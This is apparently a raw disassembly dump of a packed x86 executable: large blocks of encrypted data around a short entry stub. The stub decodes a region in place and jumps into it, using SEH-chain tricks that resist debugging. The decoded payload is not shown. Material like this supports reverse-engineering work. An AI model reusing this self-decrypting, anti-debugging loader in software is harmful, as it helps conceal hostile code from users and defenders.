		dd 0F7319CC5h, 2F558DD0h, 592DD35Ch, 4CA75A66h,	54D6ABFEh
		dd 84D598D4h, 0A2C0C62Dh, 54BE46CFh, 0C21AEDC9h, 5FF6E58Bh
		dd 0F1792CB1h, 861242Eh, 3186BE83h, 0DF8F526Ch,	0B259977Bh
		dd 64B942D7h, 552B222Ch, 6DBDAE88h, 9A2EC85Ah, 3DE15FE7h
		dd 0DA8B77F0h, 74C10B17h, 850132Dh, 0E0213A2Fh,	6A20CC9h
		dd 4265ED73h, 64BCDB0Eh, 2B13BDA1h, 0C2E9C7E8h,	0AA69C5A5h
		dd 94D8DBE7h, 0F1DE6700h, 9C40A27h, 3ADB2DD1h, 96763941h
		dd 6BD57D9h, 4629EA73h,	0E9BB4EBAh, 4BE28634h, 0F8BBFDB8h
		dd 3FFF93CFh, 0C227F6F2h, 0D5D1097Ch, 0F1420993h, 0F75E4B2Eh
		dd 2F453FF0h, 2719B05Ch, 0CEA3565Fh, 0E0B58272h, 7BD19748h
		dd 0A2F32E31h, 60CCC2FFh, 91471AE5h, 88299AAFh,	0C042BDE9h
		dd 92A2201Dh, 1E441CB1h, 0B1848EDEh, 4CA266B7h,	0E630B5BAh
		dd 7AE0A3BFh, 0F9B6FBE6h, 0A8F1C1D1h, 858027B5h, 5D2CDFD1h
		dd 91C008D5h, 8F5C1F2Fh, 2D4315C6h, 7F018E5Ah, 2BF2DC49h
		dd 0B08B7B88h, 8838539Ch, 156F4841h, 0A7CDF0E2h, 7289C6Fh
		dd 0D72BF530h, 2F40D427h, 0E4ACEFDCh, 2C55B0CBh, 3C4A4C69h
		dd 0B3A628C7h, 323A4C64h, 3B799E86h, 0C635ABA1h, 0A5D47EA7h
		dd 0E1295733h, 2F44848Ch, 6E0B1B67h, 765B1150h,	273ABF9Eh
		dd 319C09D3h, 0D12722Dh, 0B94186CEh, 0F2F651BEh, 8ED497AFh
		dd 0E170E708h, 359BD9C6h, 0D529EC42h, 0DD82C421h, 33772B1Bh
		dd 2B5E036Eh, 7AF30477h, 38F20F1Ch, 31DC56E4h, 7CC1E0FAh
		dd 0EB8A9A90h, 0C197DCB8h, 0DF63A7C1h, 0A040C9C4h, 0C47A7365h
		dd 492C5507h, 69035C4Dh, 5EEF6737h, 35B20F0Bh, 378B58E7h
		dd 55E9BFA6h, 0F886CCC5h, 83C881A1h, 0DC79B688h, 0E21A9E90h
		dd 934B7130h, 236A7F4Bh, 7C1C5E5Ch, 1FBF3A30h, 69A0614Eh
		dd 3CC110EAh, 79F4E8F7h, 1F2FBBh, 92C8A045h, 394162DFh
		dd 7CD4ED1Eh, 0D6BF087Ah, 6E245252h, 9CAEC448h,	3509CCAAh
		dd 0F59B6E5Bh, 595BF6BEh, 9DBC226Bh, 0FFCF9C30h, 0A0B03130h
		dd 66D10EFBh, 9E67D529h, 48594Ah, 17AB336Ah, 166D3210h
		dd 2D841F3Bh, 0B573056Ah, 2F4D8A7Ch, 694407B8h,	4E0939Fh
		dd 6FDCBBF2h, 8B325C93h, 57811B08h, 0E6438DD4h,	0D9E0ADA9h
		dd 0E691300Bh, 0E30F84F6h, 0FE165582h, 5A825B7Fh, 4216076Bh
		dd 0E9DC0F67h, 0E5CBBCB7h, 9722D3ABh, 0BB79D45Eh, 92133CE0h
		dd 885524FEh, 9F50D3D2h
		dd 78018150h, 429B6E58h, 1CEA3042h, 4DFBF896h, 87B2E0FEh
		dd 61D291B0h, 8B0E2E24h, 0CE68BCBBh, 0B500127Fh, 8855486Ah
		dd 402C0D32h, 0AF8B4700h, 0BE64A026h, 68E1F080h, 5C228CA5h
		dd 791E3C45h, 0A0F4313Ch, 0F640988Dh, 33026CFDh, 0B300FFF5h
		dd 0F41B4D62h, 0ED932CBCh, 6AD37AB0h, 0C4946C55h, 0A84D8B6Ch
		dd 3A9ADCA9h, 8364ACE4h, 0AF08453Ch, 49203902h,	482A170Eh
		dd 1CC2FDF0h, 0ECBDCA13h, 0F96D3037h, 0D77BB917h, 3F9B5E8Dh
		dd 0BB33287Ch, 6DF9A5AAh, 84E19143h, 0A908DEC1h, 832D6453h
		dd 4241E8C0h, 0B180802Ah, 0F855282Fh, 0BE853A43h, 0CE7BB8B3h
		dd 3E9B5F77h, 188CF41Dh, 644C83C8h, 8E0A3A8h, 44F4869Eh
		dd 0E23550B1h, 32A0E7AAh, 163D0007h, 0D8550E5Dh, 8A623035h
		dd 268447A7h, 3FC71D95h, 5453F175h, 15488C91h, 0A2C08388h
		dd 4D73B59Fh, 590ED1D6h, 36DA1549h, 0E0F48209h,	0B5DE181Dh
		dd 1E27BB3Ch, 21F78660h, 39709E51h, 193BBD7Ah, 414C0580h
		dd 69E09397h, 670847E8h, 0B00E7E3Dh, 0EFB863EDh, 0DC3D3035h
		dd 0C6653381h, 0F103D833h, 0A08BB8B5h, 3B9B5EEEh, 6291C0F3h
		dd 37428CBFh, 683EA09Ah, 680847EAh, 0E58FACA6h,	0C72588C8h
		dd 88C38BE4h, 78416218h, 3C7D3087h, 33FE4449h, 3A9DADD9h
		dd 0F4412277h, 6A2A8D3Fh, 21BF0756h, 4C6B5EEh, 0AE8C565Eh
		dd 4F43E8EBh, 22C29B93h, 1185F0E5h, 8037CFCEh, 68874B02h
		dd 3FDAD34Fh, 0D99A365Dh, 67C9D30Ah, 5EA664A4h,	0B5D79A9Bh
		dd 26269A5Bh, 40AEF8A0h, 0DC0D3025h, 805D5220h,	227B933h
		dd 0A2940546h, 0B39B063Dh, 7F825AF0h, 6E8B8D8Ch, 4EB0E0A2h
		dd 0B67CDE68h, 0F40C5EB5h, 0F422556Ah, 0D43D0031h, 0DA98C9Ch
		dd 2AD8CFD0h, 0DF847776h, 7B733C8h, 51078A74h, 9AC9BCBBh
		dd 4CCB6E37h, 987A37B9h, 260EE1E0h, 0F315FB7Dh,	0B06F5100h
		dd 0F6E0E717h, 0F76D001Eh, 2FA822D0h, 312EA15Ch, 0B2B24543h
		dd 54E2411Fh, 84552EA1h, 6DF78A96h, 9A3ED27Ah, 57DABEE7h
		dd 0DA0CD3A2h, 0C153B294h, 0CB6C2F1Eh, 1F8346ADh, 37F0005Ch
		dd 675C99F2h, 94908BBAh, 35A63AEh, 17F689ADh, 628E130Fh
		dd 32B1718h, 0EA2E867Ah, 0E16ED517h, 7D6B042Eh,	63032359h
		dd 47F55078h, 0A5D06006h, 9B38754Eh, 2036A4D4h,	7A0A4745h
		dd 55F3301Dh, 0EFDCC886h, 0C80EAB87h, 0F15230AFh, 0AD824D2Eh
		dd 6A7EBBBAh, 12DCD065h, 0B21AFF43h, 0EFC6B9A4h, 0FABBA8F1h
		dd 0E1F6B182h, 0AA6398EAh, 49221AE7h, 8839963Bh, 58C4EB47h
		dd 8B691C02h, 21014B81h, 6AA86500h, 8B2D7206h, 99CD608Eh
		dd 434605Eh, 0F30C4947h, 0AA7E750Ch, 73CAE4E7h,	0DA38D447h
		dd 0F140FB17h, 28AA2B2Eh, 1F4FFA45h, 357E595Ch,	8FAD7073h
		dd 304987AEh, 55169285h, 0EEF24D3Bh, 0AAE1ACD6h, 4920E3E7h
		dd 8707DEABh, 1CCE089Ch, 8570199h, 0E09046ADh, 325739A3h
		dd 150Dh dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

		public start

start		proc near
		push	ebp
		mov	ebp, esp
		call	sub_419017
		call	sub_419057
		push	dword ptr fs:0
		pop	ebp
		add	ebp, 8
start		endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_419017	proc near		; CODE XREF: start+3p
		sub	edx, edx
		sub	ecx, ecx
		mov	cl, 35h


loc_41901D:				; CODE XREF: sub_419017+7j
		inc	edx
		loop	loc_41901D
		call	sub_419054
		add	esi, 3Fh
		push	esi
		mov	ecx, 243Ch


loc_419031:				; CODE XREF: sub_419017+2Bj
		xchg	al, [esi]
		sub	ax, dx
		mov	[esi], al
		add	esi, 1
		inc	edx
		sub	ecx, 1
		cmp	ecx, 0
		ja	short loc_419031
		pop	esi
		mov	esp, fs:0
		pop	dword ptr fs:0
		leave
		jmp	esi
sub_419017	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_419054	proc near		; CODE XREF: sub_419017+9p
		pop	esi
		jmp	esi
sub_419054	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_419057	proc near		; CODE XREF: start+8p

arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_C]
		pop	dword ptr [eax+0B8h]
		xor	eax, eax
		retn
sub_419057	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dd 38371EC5h, 40C63A39h, 6BBF3561h, 44434265h, 0D1C74645h
		dd 4C74F6E1h, 74ABD94Dh, 5080C655h, 807DFAEh, 0E55B5A82h
		dd 60881215h, 931BE261h, 50676689h, 46E77DEh, 706F929Dh
		dd 7375CDFCh, 37F61A8h,	7C9FAB11h, 0DBB27D7Dh, 0F00417D6h
		dd 0F8F18AA9h, 6F0C8A89h, 8F8E7E8Dh, 0A4997F12h, 142296D5h
		dd 51289EBDh, 0A0DFD2D9h, 0A4A3A25Ah, 294B99A5h, 14FFF824h
		dd 0BD242116h, 41EFF53Ch, 391DCEB9h, 30000AF1h,	0C0AA3FC5h
		dd 39C3C2C2h, 401751A7h, 3E569DCCh, 0E81959EDh,	8124C5D4h
		dd 505899D8h, 4122DAD8h, 61FA5351h, 5633E559h, 0FA5C4954h
		dd 2DF2626Ah, 65615251h, 0FF6B73FAh, 0F86A695Ah, 0D3DDFF6Dh
		dd 29C25B56h, 768E260Dh, 0FB0A5F29h, 5A0FC118h,	132B8898h
		dd 9B479D0Ch, 24FF0918h, 5F1B1A19h, 85928D89h, 88918369h
		dd 7B278B91h, 0B1B40028h, 306F6369h, 34333F19h,	9DA97935h
		dd 81A0AE9Ah, 0B4ADA3B3h, 43964282h, 88CCCF1Bh,	344B8A7Eh
		dd 504F4E5Ah, 0A0C7B798h, 9DCBC9B6h, 0CECACCCBh, 365EB15Dh
		dd 99A7E7EAh, 0D84F66A5h, 0F16B6A69h, 0C090E22Dh, 0A9B70770h
		dd 38FC76B5h, 1088AEEh,	80BF8F4Fh, 6C82D20Bh, 888786F3h
		dd 218A0674h, 90CFC3C9h, 0C8C41788h, 989796D5h,	0BA0F1A99h
		dd 0D4D4532Ah, 202EA2E1h, 4D4BAAC9h, 0E55D4734h, 653AAEEDh
		dd 0B4F3EB67h, 0F1717340h, 7F18BAF9h, 2ABF2817h, 2EC32CC1h
		dd 0C8C82EC5h, 9056CACDh, 3A1FCE37h, 0D3975DDDh, 372B2CB7h
		dd 0FDBDA0Ch, 0DFB9C6A6h, 7970E1E0h, 0E827F786h, 3C3C3B3Bh
		dd 252F83ECh, 0B876F231h, 0EA81B915h, 0FC1D59B2h, 400F2EFDh
		dd 0FDE5D803h, 598000C8h, 0E8AD0777h, 507E61E3h, 0C0C50ABCh
		dd 99291B3Ah, 139DA2E7h, 447D5F10h, 4ABE8D7Fh, 0E341176Ch
		dd 884680D4h, 5075143h,	62932947h, 0D10385Bh, 3836F094h
		dd 338390F3h, 0E3D45F99h, 45C2C60Bh, 68A26A24h,	4F4E2BA3h
		dd 7385CA7Ch, 0A4FE0344h, 0A95DA294h, 47137645h, 97F03A3Fh
		dd 5CF6BAB8h, 0EFB5D317h, 0F4CD8206h, 9F6CEAEFh, 0CF9180E7h
		dd 0A8BD9A06h, 2122B6B3h, 90D5AFCFh, 7C1A54F3h,	0AF6D0C77h
		dd 148EA6D0h, 3705CF4Fh, 3FBE7B7h, 65AAB90Ah, 4C9FE13h
		dd 0DC8E5976h, 5DE1E6F1h, 8DDD26Ch, 374E4BC3h, 0D3A56A9Dh
		dd 0FEFD5F8h, 0FC04A2DBh, 24587699h, 75CAD788h,	4F418661h
		dd 0A169AD8Eh, 0D3830ECEh, 32D41F3h, 0C3F1F7FBh, 98123274h
		dd 0A40D51D3h, 2CC0FA3Ch, 332C2449h, 0E28DAC22h, 7079E684h
		dd 600DEA6Fh, 0A351575Bh, 787212D4h, 2BE9B333h,	0F7EF9F9Bh
		dd 0AC0170FEh, 0E4EDF28Fh, 15D9C8E3h, 0DAF8C667h, 0AD0906BCh
		dd 9F9DA3A7h, 447E3E00h, 707B527Fh, 0C9EC666Ch,	488D47A7h
		dd 3439432Bh, 46D9432Fh, 0CE7554Eh, 120365D0h, 587E8DF9h
		dd 0ABD51AECh, 114089BCh, 0A86DA767h, 0C31DADA3h, 18201911h
		dd 6C717675h, 0CA1B699h, 0D1744E17h, 30F54FB7h,	0B30DBB0h
		dd 0C1FC1257h, 21C99B88h, 0DB36EAAFh, 0CE93FE6Ah, 0FD3CC2C7h
		dd 0A4E9834Bh, 9319999Fh, 78C857Dh, 2862C6F4h, 5549BD63h
		dd 33BACFC2h, 0A9A8367Bh, 185D57FFh, 8B0A9E26h,	0B0045C7Ch
		dd 946671EBh, 8FCD12C4h, 3134BF13h, 0A0657DC8h,	99BD2322h
		dd 71DC8247h, 0EB6A7F06h, 906430DCh, 514F2E4Bh,	0ADBA615Ah
		dd 14D934E5h, 2BC986h, 3CBCCFA5h, 0DBBE65E3h, 0FDC88E79h
		dd 8AB5946Ah, 13F633C3h, 118DD2A4h, 74797E77h, 5CF29EE6h
		dd 0A39C9420h, 0ADE428AAh, 24297B2Fh, 0AB771A1Fh, 67054D90h
		dd 0C65916E5h, 0BE40408Ah, 0D98FE2CFh, 7028B6BBh, 0D424A2FDh
		dd 84218E39h, 4A7D7A7Fh, 868F372Bh, 0B508A249h,	34795323h
		dd 0E069ADD7h, 0CEA64C3h, 12517D07h, 0EA579F3h,	2AD5341Fh
		dd 0BC5718C9h, 0A856F04Fh, 659988A3h, 27B519A5h, 0AC861A08h
		dd 0D5B6B167h, 23CD5D66h, 0A5908984h, 5C1126D8h, 2417B17h
		dd 0DB70FE03h, 0F5664FFEh, 0CC91E6DBh, 0A489473Ch, 4454AEF3h
		dd 98750F14h, 932F86CBh, 2862FE04h, 546BC663h, 57914A4Fh
		dd 7C86615Eh, 0A6869477h, 0A3AEBABCh, 0C4D6B0DCh, 0DC22CBD8h
		dd 628127h, 3DB9FED0h, 607A662Ch, 7645669Bh, 0FFF85CA7h
		dd 0A45E1AE0h, 9715DF5Fh, 0E6B385B8h, 0A3FF0835h, 0E61A084Fh
		dd 5FBA7h, 285649FBh, 77524444h, 72626083h, 8F9A9698h
		dd 33D3A688h, 0C882CE24h, 0C23D0983h, 2E152019h, 7CC69526h
		dd 0BB3D0274h, 0DB7C1EEFh, 502A268Ch, 0A601700Bh, 0B88221F5h
		dd 8DD99EF0h, 0C0C5CBA7h, 3592A146h, 47F1C69Bh,	71E503A6h
		dd 0DE847A3Fh, 2A2D0BEAh, 744D5297h, 0E4CE1D6Eh, 9D25EAFCh
		dd 0CABDCA5Bh, 0A017086h, 0C01D8D95h, 2AD534D7h, 2436C5F1h
		dd 25AD72A4h, 27E572E3h, 80895727h, 0DD2A697Bh,	0D5969246h
		dd 44092427h, 71B6520Ch, 1C2133CDh, 365D6667h, 47492E34h
		dd 0CD8D5FF2h, 0C56D69Bh, 3FC8B690h, 2BA192BFh,	0D0A7A61Ch
		dd 91DD6E8Bh, 0AF3CA19Ah, 148E7AD0h, 0C1BDE54Fh, 2C321EF7h
		dd 85187927h, 4C9E3E7h,	574C5F58h, 0DC1A735Eh, 0C8251A1Fh
		dd 0B4B9E785h, 0A0A5A74Ch, 8C91969Ch, 787D8287h, 64696E73h
		dd 37849090h, 0FC168ED8h, 0BC068D37h, 8F0E5E9Fh, 44C4A8ADh
		dd 49401739h, 754A4319h, 6E679D6Fh, 0A3899D9Ch,	6E707D7Fh
		dd 0DAB6E8DAh, 0D879D3CFh, 0F4F3FEFEh, 0F5104F8h, 441E2735h
		dd 48427450h, 53155B7Ch, 88A26B79h, 0BC96B894h,	0C4BAABC0h
		dd 0DFEFE3DFh, 0FEF0B6FCh, 35110304h, 27242043h, 31444D5Ch
		dd 796F296Bh, 7A728678h, 0A094ABA0h, 0D2CDDECCh, 0CF5B7B8h
		dd 19E2F4C6h, 0C3D13FFh, 2C363F2Dh, 594F09CBh, 54526658h
		dd 7C758D86h, 7395A6ACh, 0CDCBC969h, 0EFC5D5D7h, 0FC0E4EDFh
		dd 8E90E18h, 38420B19h,	5C365817h, 59523260h, 0B3909E8Ch
		dd 0A9A58994h, 0CDA6969Ch, 0C1ECAED0h, 0E4FEE0EBh, 815C7E8h
		dd 350B0B25h, 1548432Fh, 6C6A914Fh, 898D5F75h, 0B5937B76h
		dd 0B0AED513h, 0CDE1D3B9h, 0F9FECFB7h, 14F219D7h, 211D2D08h
		dd 416D4F43h, 696D3A3Dh, 95408248h, 898EA27Fh, 0A4BEA0AFh
		dd 0E1E294A8h, 0E72DF3D4h, 0F1EDF200h, 21351A24h, 0EC321E27h
		dd 86514722h, 6D786070h, 6FB59892h, 0B9D39A88h,	0DFB6C5C5h
		dd 0B5E1C3E5h, 110266Fh, 2E2A22F7h, 412B2335h, 45662E74h
		dd 6D7E506Fh, 0BAA35576h, 0E8928E90h, 0BABEAEA6h, 0DDF1E309h
		dd 0FC01D700h, 59000000h, 21395D93h, 47432A51h,	6F704B4Ah
		dd 9F7BA257h, 0A7A8A3A2h, 0B9E7FCFEh, 0CE5C9C9h, 1BE8F4D7h
		dd 0D7180110h, 383A18EDh, 5970C637h, 7C567863h,	808D5F80h
		dd 0ADA3A39Dh, 0ADC09BA7h, 0E4C2B567h, 0E1E5F70Dh, 0D2213EBh
		dd 393DF92Bh, 3B0D4234h, 516D515Ch, 758E9E84h, 8AACAA78h
		dd 0E4A29EA0h, 0A4CEDBDCh, 0F102F8CCh, 191ADCFBh, 260F3122h
		dd 543E4A4Ch, 6C536379h, 6D8D5768h, 0BB887E7Bh,	0ADB7C513h
		dd 0C9B7DFCBh, 22E1CBCFh, 22F11303h, 42D1110h, 3937433Dh
		dd 69743B3Fh, 93685676h, 0AA699C90h, 0ADA39DABh, 0FAE6BAACh
		dd 28D2CED0h, 6D8F2E5h,	1D192B2Ch, 4F4C284Bh, 0D84C5544h
		dd 76886295h, 8D899B9Ch, 0BFBC987Bh, 0C5BCC5B4h, 0E0B37EDBh
		dd 10AFC2Eh, 2900FB07h,	4F263626h, 50632E55h, 5E657B54h
		dd 0C3946B74h, 0CB92C591h, 0BAB4C7AFh, 0F7D908CFh, 0EA0BDBEBh
		dd 9802FE00h, 34442255h, 6225585Ch, 6F86494Eh, 0A378A686h
		dd 7A39ACA0h, 0B7B3DABBh
		dd 0D8F0BBC7h, 4EBDBD1h, 29050F00h, 4240373Ch, 487BC644h
		dd 74566482h, 86725480h, 94A69F9Bh, 0D3CE9BC0h,	0A5DCBD5h
		dd 0EA1EFADFh, 0C201D18h, 2E35F908h, 34303030h,	67533F66h
		dd 92799D88h, 0CCB48484h, 0EB7E9592h, 0D0D7CFBFh, 0F395EAECh
		dd 1910F5EFh, 430C1126h, 37593240h, 5D6F6862h, 8B316A5Ah
		dd 0AF859684h, 0BDA7A2A2h, 0CDE2DBD1h, 0FF06D8EBh, 25FCD201h
		dd 27B92225h, 3D4C4D42h, 724A9647h, 8E6B6773h, 88A88290h
		dd 88BAADB2h, 0E0E5B4ACh, 0FEF632D4h, 0FA0703EFh, 1D481E2Ch
		dd 524C3927h, 643C4739h, 70987270h, 0B09A8EA0h,	0B9B59474h
		dd 0D4B2B0C5h, 0DADECEC6h, 0F62E6A30h, 321FFB07h, 48083624h
		dd 567E5C50h, 49155B73h, 8EA67A6Dh, 9AA19789h, 92BDBFC0h
		dd 0C0EAE6E8h, 0EDE3FAFCh, 6ACCDBF7h, 48455275h, 4F5A2C7Fh
		dd 6F7C522Ah, 91728D74h, 939E7043h, 0B6CABAE2h,	0C9DABBE2h
		dd 2AFDC3EFh, 113A1510h, 1E2E2C3Ch, 5956322Ch, 0A86E5A74h
		dd 677C8351h, 0A1B79EACh, 0A9D6AB9Fh, 0DB5DA3CFh, 8C20537Ch
		dd 303512F0h, 609E8E2Bh, 83315F3h, 444A0369h, 5BEA849Eh
		dd 0F848A61Fh, 0F8A39697h, 5BF8E0E4h, 0D0AA6A0Ch, 80C5098Bh
		dd 75A1079Ah, 90D85E23h, 0B5780D47h, 6C26A7B8h,	0C8185527h
		dd 0A9F0EB9h, 1D996F42h, 9C66E6ABh, 0C85D56CAh,	1C09BEC3h
		dd 0A0A543E1h, 8C67EA22h, 0B863BEFEh, 74696E9Bh, 0A253B45Fh
		dd 82D946B1h, 22D32D0h,	0E4E8CF23h, 0EDA97F92h,	251CF63Bh
		dd 0A51977CAh, 0FB4ECE93h, 253C668Bh, 9CE1BB33h, 0F51A8E36h
		dd 74B96E83h, 33189B6Eh, 0C9C8A88Eh, 38FD7793h,	7BDBDB8h
		dd 5CFD1A1Fh, 870C05FEh, 0A8E20A74h, 35546BE3h,	58C5CAAEh
		dd 837C75FAh, 6575271Eh, 0B068E53h, 70759DD7h, 0F3EC98D3h
		dd 0ECD2CDFAh, 0B1397E50h, 952CBE6Fh, 0C304B9Eh, 7F1A5A07h
		dd 0A3608D86h, 0A80A9D02h, 0BCC1C6CBh, 94DA337Ch, 0C7995E99h
		dd 0D60A0748h, 9D71B690h, 8AEB3B3h, 0D174FF04h,	30F54F13h
		dd 0B3052AA6h, 4802FEA4h, 0F0B73B03h, 0E00D9FEFh, 81D1D6DBh
		dd 0A27C1F48h, 5BBFAEF3h, 9A9F0F14h, 2E3186CBh,	685152ACh
		dd 90D85E89h, 0BD087043h, 2C715087h, 95E042DCh,	4C908BDh
		dd 0F01BFA1Bh, 0DDF729C0h, 0DB88D3EDh, 0ABBD1196h, 4CE52F9Ch
		dd 8C883ECBh, 28048287h, 58B971AAh, 5AA3EFD4h, 96B8468Bh
		dd 282D332Bh, 1511A8AAh, 0A8040A0Fh, 7751C1E2h,	797FD59Eh
		dd 0E68CD35Fh, 33F3150Ch, 27D4B5E6h, 3C14E563h,	0B4CFB2B3h
		dd 870B1C20h, 59A1EB8Eh, 0F4BC4207h, 50BEB937h,	2B155A2Ch
		dd 0FB1789D6h, 0E893F932h, 0A352DE4Bh, 0CAEB8DCEh, 0ACAA5E13h
		dd 5A2AA2A7h, 0CDB3F834h, 49B4CA4Ch, 9C332CF8h,	40D15757h
		dd 0C1B2804Bh, 20E500E9h, 0B9503846h, 0F8FD025Fh, 896A2BF3h
		dd 0D015C5D8h, 8A776352h, 6C2CB277h, 9B99A6BFh,	8085D30Bh
		dd 744DF77Bh, 45D6265h,	444A52FBh, 0C0AA893Fh, 0A721E658h
		dd 24918FBBh, 0F4F9FFFFh, 0F8E5849Fh, 0CCD1D6D7h, 0B8919491h
		dd 283E4DDEh, 0C395DAACh, 78F41354h, 196D7278h,	25574814h
		dd 406D4B65h, 5E71363Bh, 0E579B70Ah, 819B0ED3h,	0C0ACCE49h
		dd 0DDE5CEB7h, 8F20D2D7h, 0B6D9E24Fh, 2DC0AAAFh, 8C518C83h
		dd 84BD0750h, 0B47D115Dh, 50BB0ED6h, 0EAF49799h, 3579C75Ah
		dd 91E21EE3h, 4EB51FCFh, 0F9FD8BAEh, 876AE227h,	6E9C808Fh
		dd 3F42627Bh, 9CA1A7A7h, 0E24D85EEh, 1F68B773h,	30151A1Fh
		dd 0FE01262Bh, 521D7AAh, 0E0AA2E73h, 10151C17h,	4E57AFEh
		dd 0F605871Ah, 4BA8DEA3h, 97B23Ch, 0A86F13BBh, 92D722A7h
		dd 0F4B8F20h, 306AFEF4h, 0E14AC96Bh, 885D52E4h,	820A4143h
		dd 60A95C32h, 0DFC9E1Eh, 74080207h, 0E4E9EFE3h,	3DEBE85Fh
		dd 92410CDBh, 0A931B1B7h, 14999EA4h, 319A6A51h,	9C7BF7B5h
		dd 0E5A0A0A0h, 8284D911h, 4B003BF9h, 1C37F76Dh,	0CF5C6868h
		dd 342BEE70h, 21BC93EFh, 0CCFC5BDEh, 354AC2C7h,	0A4E9AB11h
		dd 84FD9AF5h, 2C81868Bh, 5802A146h, 89591E6Dh, 40454A43h
		dd 2CBCBB3Eh, 69062227h, 85090E13h, 0A9A3AA01h,	3966F5B5h
		dd 4BCDD2D7h, 0E855C67Dh, 2929A9A4h, 0A091969Bh, 0CCEC77A7h
		dd 0E1644847h, 50555AD3h, 1C2153F0h, 492A1217h,	10D03FEh
		dd 0E0E16612h, 42723228h, 644502CAh, 457A635Fh,	0DA85BD81h
		dd 0C4B6D5CEh, 8848D951h, 841F8F86h, 8F656A4Ah,	0B99C2879h
		dd 38FD77EBh, 7479EE02h, 9FD4A4Fh, 0B801060Bh, 0BC97A98Ah
		dd 0D4BDBFC6h, 0AEA53F52h, 6C36B6FBh, 0D1CCD813h, 723F131Ch
		dd 48267A3Fh, 0DC61686Bh, 789FA3A8h, 625DB316h,	0ADB22AEFh
		dd 0CD1311Ah, 244635D7h, 35371E24h, 244AA910h, 3BC106F8h
		dd 15E896B3h, 9459B3B7h, 0F5054D17h, 6CB18BA6h,	0B1C4B68h
		dd 131D1416h, 0F4FAEC00h, 2E400FF0h, 6638452Ah,	5D4C3A4Fh
		dd 8F908E81h, 9990B28Ah, 0CEA2B4B5h, 0D6CEE4BFh, 0E600F3EEh
		dd 0C09CBDFh, 451B110Bh, 352D5E31h, 6C6A715Dh, 78806583h
		dd 1F1D2427h, 4090E23h,	0C7C3CAFFh, 0C2FECFE3h,	27EC04F0h
		dd 2C1A2A24h, 34358838h, 4F4A649Bh, 8A6AA23Eh, 96988289h
		dd 9D5BABA5h, 1CEF8B9Ah, 381B22E0h, 344A2E30h, 0E0EFEAE1h
		dd 3327E3F1h, 0B6FD2020h, 7077775Dh, 86AB48Ch, 9CA1A6ABh
		dd 143A13DCh, 3279BE78h, 205A01ECh, 0B99C565Bh,	38FD77D3h
		dd 5034D6F4h, 8B0F7423h, 0BCD656B8h, 0EC59BBF7h, 0B2EFB305h
		dd 0C5609850h, 412E99E8h, 98DDD8E7h, 5387241Ah,	0E51A601Ch
		dd 9C3050E8h, 0B8D2D157h, 2E397E52h, 943BF0A8h,	9D5854DDh
		dd 93486408h, 556E7B32h, 20D51ACCh, 0C257C631h,	0B51147DAh
		dd 88189E63h, 0AD89826Bh, 6C751E62h, 16AC6267h,	0D1744E12h
		dd 30F54FB7h, 0B3ADEE93h, 810AABAh, 3248FE03h, 0B3B099AEh
		dd 544615DBh, 50BD82F4h, 5B544A84h, 7764D077h, 7FFE857Eh
		dd 0C06D3286h, 54595E6Ah, 928A7D7Ch, 684B282Ah,	1F1D5E5Bh
		dd 0C4FE8A80h, 0F0FB52FFh, 0EFF4E6EBh, 1EF60407h, 0B4FA240Fh
		dd 581AB95Fh, 15915688h, 0B8B25604h, 0E95A7D73h, 904D3AD4h
		dd 0FAC6CF4Bh, 0D92DF221h, 41A59376h, 18740A4Fh, 0ECF1F6F7h
		dd 0C0CA975Ch, 4992CE93h, 70C7D644h, 2A530EABh,	47AF413Ah
		dd 0B486E500h, 0E375796Fh, 0C3EFFB8h, 0A5CA4247h, 24692B0Eh
		dd 117B4E4Fh, 0A4AF0671h, 68EDF2F5h, 2095336h, 804ACA0Fh
		dd 31CFEB11h, 58BAEC1Ch, 821F4093h, 75580FF4h, 8A95662Bh
		dd 7A9EA2A7h, 626DB316h, 47DD2AEFh, 0CC2302A8h,	2D824807h
		dd 0E4E92ECBh, 0D0D5D6B7h, 83701DCBh, 0BA9C6D76h, 585562C5h
		dd 4FA198Fh, 0DF71B668h, 585D69BFh, 0BEDB53h, 0F935FA27h
		dd 0E9ADE3B0h, 39B51257h, 0DCE4DDCDh, 0E0E5EAE3h, 958B9FA6h
		dd 8E918779h, 0A4E5FAEFh, 0BD110F62h, 0BC0686CBh, 6990F66Ah
		dd 3CE85E63h, 40454A4Ch, 24AFABC0h, 8D762267h, 0C4FB0668h
		dd 5EEB52FFh, 3160655Eh, 0C80DC8DBh, 763DCDC3h,	21A5AAB0h
		dd 8C9226BFh, 79655687h, 1B696E74h, 906A26CCh, 0AC85C74Bh
		dd 0D82D3238h, 14EF52AAh, 47A993Dh, 69F136E5h, 0CD522BA7h
		dd 0C4D8567Bh, 542A09BFh, 47A166D8h, 0E10A1535h, 7479BE78h
		dd 0DDF243FCh, 4C117300h, 30D2B117h, 0A1296EFDh, 3B9919DFh
		dd 8701060Ch, 0E874EEB7h, 5154EE36h, 0C005B7E8h, 0C4EE3B75h
		dd 329EA2E7h, 2E8A3893h, 7CEAC97Dh, 0DF612695h,	0C45801FFh
		dd 34393F31h, 0BD9AA79Eh
		dd 0F611D630h, 7FCCD417h, 24DBF260h, 0C7955FDFh, 0BCC1B848h
		dd 262A2FB7h, 45995E98h, 2AE12287h, 0D8C9352Eh,	0FE5D6267h
		dd 30C2743Ah, 0BD90EE5Bh, 1C615BC3h, 0EDA17F8Ch, 0F5AAFE43h
		dd 7FB5707h, 0E895610Eh, 0B01D03D7h, 0A08DF2BAh, 8B9D7A60h
		dd 2C79AAC7h, 686D778Fh, 82738363h, 0E7784A57h,	6C468AC8h
		dd 0CE1A527h, 0E40BD54Dh, 0F5766F74h, 0DCF7E6ABh, 0C8CDB3EFh
		dd 0AB08F0C3h, 60779A1Ch, 0A85D239Bh, 0E5F85993h, 64A943ABh
		dd 4A6D5E19h, 0EC41B08Bh, 95680502h, 14D93413h,	6592B00Eh
		dd 0EC311359h, 0CC45E23Dh, 93C9CED3h, 0C02A096Eh, 71A166D5h
		dd 888D928Bh, 21F6CBD0h, 60254021h, 640EE3E0h, 0EE644207h
		dd 727A2E59h, 48AE94Eh,	7F014635h, 0FFA7F21Fh, 59436954h
		dd 97081Ch, 7EAE26BBh, 38AD1739h, 0BBAFA6BBh, 7F435BC2h
